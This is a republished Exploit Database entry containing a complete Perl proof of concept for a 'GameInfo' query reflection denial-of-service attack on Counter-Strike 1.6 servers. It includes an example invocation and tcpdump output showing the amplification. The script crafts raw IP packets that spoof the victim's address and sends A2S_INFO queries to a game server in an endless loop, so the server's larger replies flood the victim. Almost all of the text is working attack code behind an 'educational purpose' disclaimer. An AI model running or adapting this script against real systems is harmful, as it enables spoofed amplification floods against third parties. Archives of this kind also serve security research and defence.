Counter-Strike 1.6 – ‘GameInfo’ Query Reflection Denial of Service (PoC)

Exploit Database
116 阅读

作者： Todor Donev

日期： 2015-07-22
类别：
- dos
平台：
- windows
来源：https://www.exploit-db.com/exploits/37669/

100

101

102

103

104

105

106

107

108

109

110

111

112

113

114

115

116

117

118

119

120

121

122

123

124

125

126

127

128

129

130

131

132

133

134

135

136

137

138

139

140

141

142

143

144

145

146

147

148

149

150

151

152

153

154

155

156

157

158

159

160

161

162

163

164

165

166

167

168

169

170

#!/usr/bin/perl

#Counter-Strike 1.6 'GameInfo' Query Reflection DoS

#Proof Of Concept

#todor.donev@gmail.com

#http://www.ethical-hacker.org/

#https://www.facebook.com/ethicalhackerorg

#http://pastebin.com/u/hackerscommunity

#Disclaimer:

#This or previous program is for Educational

#purpose ONLY. Do not use it without permission.

#The usual disclaimer applies, especially the

#fact that Todor Donev is not liable for any

#damages caused by direct or indirect use of the

#information or functionality provided by these

#programs. The author or any Internet provider

#bears NO responsibility for content or misuse

#of these programs or any derivatives thereof.

#By using these programs you accept the fact

#that any damage (dataloss, system crash,

#system compromise, etc.) caused by the use

#of these programs is not Todor Donev's

#responsibility.

#Use at your own risk and educational

#purpose ONLY!

#See also, UDP-based Amplification Attacks:

#https://www.us-cert.gov/ncas/alerts/TA14-017A

## perl cstrike-drdos-poc.pl 46.165.194.16 192.168.1.10 27010

#[ Counter-Strike 1.6 'GameInfo' query reflection dos poc

#[ Sending GameInfo requests: 46.165.194.16 -> 192.168.1.10

#^C

## tcpdump -i eth0 -c4 port 27010

#tcpdump: verbose output suppressed, use -v or -vv for full protocol decode

#listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

#00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25

#00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392

#00:00:00.000000 IP 192.168.1.10.31337 > masterserver.css.setti.info.27010: UDP, length 25

#00:00:00.000000 IP masterserver.css.setti.info.27010 > 192.168.1.10.31337: UDP, length 1392

#4 packets captured

#4 packets received by filter

#0 packets dropped by kernel

use strict;

use Socket;

use warnings;

no warnings 'uninitialized';

print "[ Counter-Strike 1.6 \'GameInfo\' query reflection dos poc\n";

die "[ Sorry, must be run as root. This script use RAW Socket.\n" if ($< != 0);

my $css = (gethostbyname($ARGV[0]))[4]; # IP Address Destination(32 bits)

my $victim= (gethostbyname($ARGV[1]))[4]; # IP Address Source (32 bits)

my $port= $ARGV[2] || '27015';# Int between 1 and 65535Default: 27015

die "[ Port must be between 1 and 65535!\n" if ($port < 1 || $port > 65535);

if (!defined $css || !defined $victim) {

print "[ Usg: $0 <cstrike server> <victim> <port>\n";

print "[ Default port: 27015\n";

print "[ <todor.donev\@gmail.com> Todor Donev\n";

exit;

}

print "[ Sending GameInfo requests: $ARGV[0] -> $ARGV[1]\n";

socket(RAW, AF_INET, SOCK_RAW, 255) || die $!;

setsockopt(RAW, 0, 1, 1)|| die $!;

main();

# Main program

sub main {

my $packet;

$packet = iphdr();

$packet .= udphdr();

$packet .= cshdr();

# b000000m...

send_packet($packet);

}

# IP header (Layer 3)

sub iphdr {

my $ip_ver = 4;# IP Version 4(4 bits)

my $iphdr_len = 5;# IP Header Length(4 bits)

my $ip_tos = 0;# Differentiated Services (8 bits)

my $ip_total_len = $iphdr_len + 20;# IP Header Length + Data(16 bits)

my $ip_frag_id = 0;# Identification Field (16 bits)

my $ip_frag_flag = 000;# IP Frag Flags (R DF MF) (3 bits)

my $ip_frag_offset = 0000000000000;# IP Fragment Offset (13 bits)

my $ip_ttl = 255;# IP TTL(8 bits)

my $ip_proto = 17; # IP Protocol (8 bits)

my $ip_checksum = 0;# IP Checksum(16 bits)

# IP Packet

my $iphdr = pack(

'H2 H2 n n B16 h2 c n a4 a4',

$ip_ver . $iphdr_len, $ip_tos,

$ip_total_len, $ip_frag_id,

$ip_frag_flag . $ip_frag_offset,

$ip_ttl, $ip_proto, $ip_checksum,

$victim, $css

);

return $iphdr;

}

# UDP Header (Layer 4)

sub udphdr {

my $udp_src_port = 31337;# UDP Sort Port (16 bits) (0-65535)

my $udp_dst_port = $port;# UDP Dest Port (16 btis) (0-65535)

my $udp_len = 8 + length(cshdr());# UDP Length(16 bits) (0-65535)

my $udp_checksum = 0;# UDP Checksum(16 bits) (XOR of header)

# UDP Packet

my $udphdr = pack(

'n n n n',

$udp_src_port,

$udp_dst_port,

$udp_len,

$udp_checksum

);

return $udphdr;

}

# Counter-Strike 'GameInfo' request

sub cshdr {

# https://developer.valvesoftware.com/wiki/Server_queries

# https://developer.valvesoftware.com/wiki/Source_RCON_Protocol

# Requests

# The server responds to 5 queries:

#A2S_INFO 'T' (0x54)

#Basic information about the server.

#A2S_PLAYER 'U' (0x55)

#Details about each player on the server.

#A2S_RULES'V' (0x56)

#The rules the server is using.

#A2A_PING 'i' (0x69)

#Ping the server. (DEPRECATED)

# A2S_SERVERQUERY_GETCHALLENGE'W' (0x57)

#Returns a challenge number for use in the player and rules query. (DEPRECATED)

# Queries should be sent in UDP packets to the listen port of the server.

# 25 bytes - A2S_INFO

my $query= "\xff\xff\xff\xff\x54";# 0000 ff ff ff ff 54 53 6f 75 72 63 65 20 45 6e 67 69....TSource Engi

$query .= "\x53\x6f\x75\x72\x63";# 0010 6e 65 20 51 75 65 72 79 00 ne Query.

$query .= "\x65\x20\x45\x6e\x67";

$query .= "\x69\x6e\x65\x20\x51";

$query .= "\x75\x65\x72\x79\x00";

my $cshdr= pack('a*', $query);

return $cshdr;

}

sub send_packet {

while(1){

select(undef, undef, undef, 0.40);# Sleep 400 milliseconds

send(RAW, $_[0], 0, pack('Sna4x8', AF_INET, 60, $css))|| die $!;

}